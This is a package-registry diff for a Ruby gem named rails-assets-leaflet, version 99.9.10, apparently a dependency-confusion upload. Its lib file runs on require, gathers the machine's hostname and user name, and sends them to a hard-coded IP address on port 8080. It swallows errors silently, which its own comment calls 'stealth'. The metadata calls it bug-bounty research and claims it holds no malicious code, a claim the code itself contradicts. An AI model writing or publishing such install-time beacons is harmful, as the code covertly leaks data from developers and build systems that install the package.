rails-assets-leaflet 99.9.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rails-assets-leaflet might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/rails-assets-leaflet.rb +47 -0
- metadata +45 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 4091c0381405b6c4e5b738e816945a2373163244d8e0fda27cd48c8eed8464b3
|
|
4
|
+
data.tar.gz: d24696d017d029abded6a2421b95514c11d7e41a070cafc29030ab0c8319136b
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 1b582093c57b3ffc6f7b466c9b0914d21c70937b0427757422321762521e9e0040e1989de287e92727857b42cbd460a75f065f628e1073a6d950ca8dc6eb1b21
|
|
7
|
+
data.tar.gz: f0819ea6ca6fece463de26a2f268cfa8a872ab81cdad6c747e4c608969621ee52208cd27117b58ce444716681e14bd68d55c4aa9c708cb4e778a0b91d0e81839
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
require 'net/http'
|
|
2
|
+
|
|
3
|
+
require 'socket'
|
|
4
|
+
|
|
5
|
+
require 'uri'
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
module RailsAssetsLeaflet
|
|
10
|
+
|
|
11
|
+
# This code runs automatically when 'bundle install' requires the gem
|
|
12
|
+
|
|
13
|
+
begin
|
|
14
|
+
|
|
15
|
+
# Collect basic info to prove RCE
|
|
16
|
+
|
|
17
|
+
host = Socket.gethostname
|
|
18
|
+
|
|
19
|
+
user = ENV['USER'] || 'unknown'
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
# YOUR VPS IP HERE
|
|
24
|
+
|
|
25
|
+
vps_ip = "159.223.17.233"
|
|
26
|
+
|
|
27
|
+
port = "8080"
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
# Send the data to your listener
|
|
32
|
+
|
|
33
|
+
# URL will look like: http://1.2.3.4:8080/?target=hostname&user=root
|
|
34
|
+
|
|
35
|
+
uri = URI("http://#{vps_ip}:#{port}/?target=#{host}&user=#{user}")
|
|
36
|
+
|
|
37
|
+
Net::HTTP.get(uri)
|
|
38
|
+
|
|
39
|
+
rescue
|
|
40
|
+
|
|
41
|
+
# Fail silently to avoid breaking the build process (stealth)
|
|
42
|
+
|
|
43
|
+
nil
|
|
44
|
+
|
|
45
|
+
end
|
|
46
|
+
|
|
47
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: rails-assets-leaflet
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 99.9.10
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Security Research
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2025-01-21 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: This is a security research package for a bug bounty program. It contains
|
|
14
|
+
no malicious code.
|
|
15
|
+
email:
|
|
16
|
+
- black1hp@wearehackerone.com
|
|
17
|
+
executables: []
|
|
18
|
+
extensions: []
|
|
19
|
+
extra_rdoc_files: []
|
|
20
|
+
files:
|
|
21
|
+
- lib/rails-assets-leaflet.rb
|
|
22
|
+
homepage: https://hackerone.com/Black1hp
|
|
23
|
+
licenses:
|
|
24
|
+
- MIT
|
|
25
|
+
metadata: {}
|
|
26
|
+
post_install_message:
|
|
27
|
+
rdoc_options: []
|
|
28
|
+
require_paths:
|
|
29
|
+
- lib
|
|
30
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
36
|
+
requirements:
|
|
37
|
+
- - ">="
|
|
38
|
+
- !ruby/object:Gem::Version
|
|
39
|
+
version: '0'
|
|
40
|
+
requirements: []
|
|
41
|
+
rubygems_version: 3.4.20
|
|
42
|
+
signing_key:
|
|
43
|
+
specification_version: 4
|
|
44
|
+
summary: Security Research PoC
|
|
45
|
+
test_files: []
|